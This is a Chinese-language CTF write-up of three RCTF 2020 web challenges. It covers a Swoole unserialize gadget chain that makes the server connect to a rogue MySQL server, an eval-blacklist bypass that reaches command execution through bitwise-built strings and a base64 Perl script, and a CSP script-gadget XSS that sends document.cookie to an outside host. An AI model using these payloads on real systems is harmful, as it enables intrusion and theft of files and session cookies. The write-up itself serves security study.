这比赛的web太可怕了,我爬了
swoole
writeup:https://blog.rois.io/2020/rctf-2020-official-writeup/
源码如下
#!/usr/bin/env php
<?php
SwooleRuntime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new SwooleHttpServer("0.0.0.0", 9501);
$http->on("request",
function (SwooleHttpRequest $request, SwooleHttpResponse $response) {
SwooleRuntime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
用了swoole框架,并且直接给了反序列化:
$a = unserialize($code);
$a();
这里首先需要知道这个,即:[类,方法名]()的方式去调用类中的方法
<?php
class demo{
public function test(){
phpinfo();
}
}
$a = new demo();
$b = [$a,'test'];
$b();
然后就是需要触发rogue mysql
根据hint:https://github.com/swoole/library/issues/34
这里mysql连接之后的选项均无效,那就找一个替代的:PDO
先看一下文档里的PDO连接方式:
需要用到PDOPool这个类然后去调用PDOPool::get()完成连接
说实话我看完writeup还是很懵
认为直接去序列化PDOPool::get然后反序列化就完成了,如
$a = new SwooleDatabasePDOPool((new SwooleDatabasePDOConfig)
->withHost('123.57.240.205')
->withPort(3307)
->withDbName('test')
->withCharset('utf8mb4')
->withUsername('root')
->withPassword('root')
->withOptions([
PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
])
);
echo serialize([$a,'get']);
在swoole环境下运行会报错:
PHP Fatal error: Uncaught Exception: Serialization of 'SwooleCoroutineChannel' is not allowed in
看一下源码:
PDOPool继承了ConnectionPool,在ConnectionPool中找到$pool,类型为Channel
然 后 发 现 原 来 是swoole 4.3.0版 本 后 已 经 移 除 Channel这个类的序列化,可 以 用 new SplDoublyLinkedList()来替代$pool
那么就不能偷家了(不能直接序列化PDOPool::get)
所以要找另外一个方式,这也是我在复现的时候不理解的一个点,后来用swoole环境就清楚多了= =。
首先既然不能直接调用类:方法,那么就只能找一条链了,而链反序列化出来的东西肯定包含其他类方法,所以$a()会调用ObjectProxy::__invoke方法:
然后将__object设置为Handler::exec
而这个execute函数也比较巧妙,允许我们执行两个自定义回调函数
那么先看第一个cb,Handler::headerFunction,将其设置为MysqliProxy::reconnect
这里允许我们调用函数
然后初始化一个ObjectProxy,参数为函数返回的结果
令constructor为ConnectionPool::get
先看它的__construct
将这几个参数初始化为:
然后进入get
由于pool被设置成了new SplDoublyLinkedList(),IsEmpty返回true,并且num<size
<?php
$a=new SplDoublyLinkedList();
var_dump($a->IsEmpty());//bool(true)
满足if进入make(),在这里看到有个能让我们实例化随意类,随意参数的地方,那就将proxy设置成PDOPool,将constructor设置成它的配置:PDOConfig
然后将类带入put
put里面做了一个push操作,然后执行结束返回:
return $this->pool->pop();
我本地测了一下push后pop数据没变化
所以这里return的就是一个PDOPool类了
对应writeup中的代码:
$c = new SwooleDatabasePDOConfig();
$c->withHost('ip'); // your rouge-mysql-server host & port
$c->withPort(3307);
$c->withOptions([
PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
]);
$a = new SwooleConnectionPool(function () { }, 0, '');
changeProperty($a, 'size', 100);
changeProperty($a, 'constructor', $c);
changeProperty($a, 'num', 0);
changeProperty($a, 'pool', new SplDoublyLinkedList());
changeProperty($a, 'proxy', '\Swoole\Database\PDOPool');
顺带啰嗦一下
如果MySQL客户端连接以后,如果没有进行任何一句包括SELECT @@version之类的查询,客户端是完全不会响应服务器的LOCAL INFILE请求的。有许多客户端,例如MySQL命令行,连接之后就会向服务器查询各类参数。但PHP的MySQL客户端连接之后是什么都不会做的,因此我们需要给MySQL客户端配置MYSQL_ATTR_INIT_COMMAND参数,让它连接之后自动向服务器发送一条SQL语句。
那么PDOPool这个类就完成了
到这里第一个函数$cb就完成了,并且ObjectProxy::__object为PDOPool类
来看第二个$cb,令Handler::readFunction为MysqliProxy::get,MysqliProxy没有get方法,触发__call
这里的__object已经被我们上一步操作覆盖为PDOPool类,最后一步就是连接了,所以才会令Handler::readFunction为MysqliProxy::get,此时name为get,也就调用了PDOPool::get
完成PDO连接
然后用S和 0绕一下这个正则即可:
!preg_match('/x00/', $code))
直接跑官方exp,然后服务器上跑Rogue-MySql-Server即可:
看了好久总算懂了...Orz
calc
计算,跟到/calc.php有源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[x7f-xff]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
过滤比较严格,最关键的把字母、异或、反引号、$等ban了,那么之前常用的无字母数字webshell就不好使了,不过有或运算和与运算还在,那么就可以通过| & ~等构造字母
echo (((10000000000000000000000).(1)){3});
可以得到E,或是
姿势很多
贴一个cjm00n师傅的脚本,Orz:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
table = list(b'0123456789.-EINF')
dict={}
l=len(table)
temp=0
while temp!=l:
for j in range(temp,l):
if ~table[j] & 0xff not in table:
table.append(~table[j] & 0xff)
dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
for i in range(l):
for j in range(max(i+1,temp),l):
t = table[i] & table[j]
if t not in table:
table.append(t)
dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
t = table[i] | table[j]
if t not in table:
table.append(t)
dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
temp=l
l=len(table)
table.sort()
def howmake(ch:int) -> str:
if ch in b'0123456789':
return '(((1).(' + chr(ch) + ')){1})'
elif ch in b'.':
return '(((1).(0.1)){2})'
elif ch in b'-':
return '(((1).(-1)){1})'
elif ch in b'E':
return '(((1).(0.00001)){4})'
elif ch in b'I':
return '(((999**999).(1)){0})'
elif ch in b'N':
return '(((999**999).(1)){1})'
elif ch in b'F':
return '(((999**999).(1)){2})'
d = dict.get(ch)
if d:
op = d.get('op')
if op == '~':
c = '~'+howmake(d.get('c'))
elif op =='&':
c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
elif op == '|':
c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
return f'({c})'
else:
print('error')
return
if __name__ == '__main__':
while 1:
payload = input('>')
result = []
for i in payload:
result.append(howmake(ord(i)))
result='.'.join(result)
print(f'({result})')
思路就是先得到可打印字符的ascii的构造方式,然后根据传入的字符的ascii,在0123456789.-E这几个数的基础上递归拼接
然后构造system(next(getallheaders()))执行命令:
(((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(-1)){1})|(((1).(0.00001)){4})))((((((1).(0.1)){2})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))))((((((1).(0.00001)){4})|((((1).(2)){1})&(((1).(0.1)){2}))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((((1).(0.00001)){4})&(~(((1).(1)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(1)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((~(((1).(5)){1}))&((((1).(8)){1})|(((1).(0.00001)){4})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(4)){1})))).(((((1).(0)){1})&(((1).(0.1)){2}))|((((1).(0.00001)){4})&(~(((1).(1)){1})))).((((1).(0.00001)){4})|((((1).(0)){1})&(((1).(0.1)){2}))).((((1).(0)){1})|((~(((1).(5)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))).((((1).(0)){1})|((~(((1).(4)){1}))&((((1).(2)){1})|(((1).(0.00001)){4})))))()));
/readflag之前需要计算
可以将payload写入/tmp下然后用perl执行,编码一下防止数据丢失
echo 'IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow=='|base64 -d >/tmp/a.pl
然后执行perl /tmp/a.pl即可
EasyBlog
渣渣来复现
登陆注册后是明显的XSS
尝试用<img src=#>可以正常插入图片,但是插入<img src=# onerror=alert(1)>会被过滤,看一下csp:
default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'
注意到有unsafe-eval和nonce
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数
而nonce:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
并且由于没有unsafe-inline,即使成功插入了<script>也不会被执行
先看文章处的js代码:
function addComments(comments) {
comments.forEach(function (comment) {
let html = `
<div class="panel panel-default">
<div class="panel-heading">
<span class="name"></span>
<div class="pull-right">
<button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
</button>
<button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
</button>
</div>
</div>
<div class="panel-body"></div>
</div>
`;
dom = $(html)
dom.find('div>.name').text(comment.name)
dom.find('.panel-body').html(comment.comment)
$('#comments').append(dom)
})
}
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
let btn = $(e.currentTarget)
if (btn.hasClass('like')) {
$.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
} else if(btn.hasClass('dislike')) {
$.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
}
})
这里有一个jsonp的回调函数
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
但是由于没有unsafe-inline限制了script脚本的执行
根据writeup是考的script gadget(代码重用)
例如html如下
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<button id="mbutton" data-text="<img src=x onerror=alert(/xss/)>">a</button>
<script>
var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");
</script>
</body>
</html>
首先button中的一个属性是img的error弹窗,但是直接放到html中并不会产生效果,但是如果用script标签加载一个js,内容为选择id为mbutton的button,并取出data-text属性值,并放入加入html中便会产生gadget(代码重用)此时img便被加入了button
并且成功弹窗
回到题目,这里由于没有unsafe-inline,无法加载script标签,那么便无法gadget
看到zepto源码:
https://github.com/madrobby/zepto/blob/763b3d6dc3b4350759ed30aa196cd2b6e39efcfb/src/zepto.js#L918
这里可以看到如果结点的大写是SCRIPT就会将其用eval执行,这正好符合csp当中的unsafe-eval,所以,在不使用script标签的情况下,仍然可以用eval来执行js完成gadget,那么可以用ı来替代i,payload:
<scrıpt>location.href="http://ip:port/?"+document.cookie</scrıpt>
将其插入到文章评论处,zepto会自动帮我们eval执行,然后提交给bot
收到管理员cookie
还有一种解法,首先回到这个jsonp,观察到cb为回调函数处
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
getUrlParam函数是根据&来获取id参数的
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}
那么就用%26代替&,在show处增加一个cb,也就是回调函数,来执行代码:
?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=alert()//&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06
然后原理还是gadget,用eval来执行,在一开始写文章处插入:
<input id="a" value="window.location='http://ip:port/'">
然后url的cb改为eval(a.value)即可
?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=eval(a.value)//id=0e65a36c-8369-4ae9-bb32-60119d4e2d06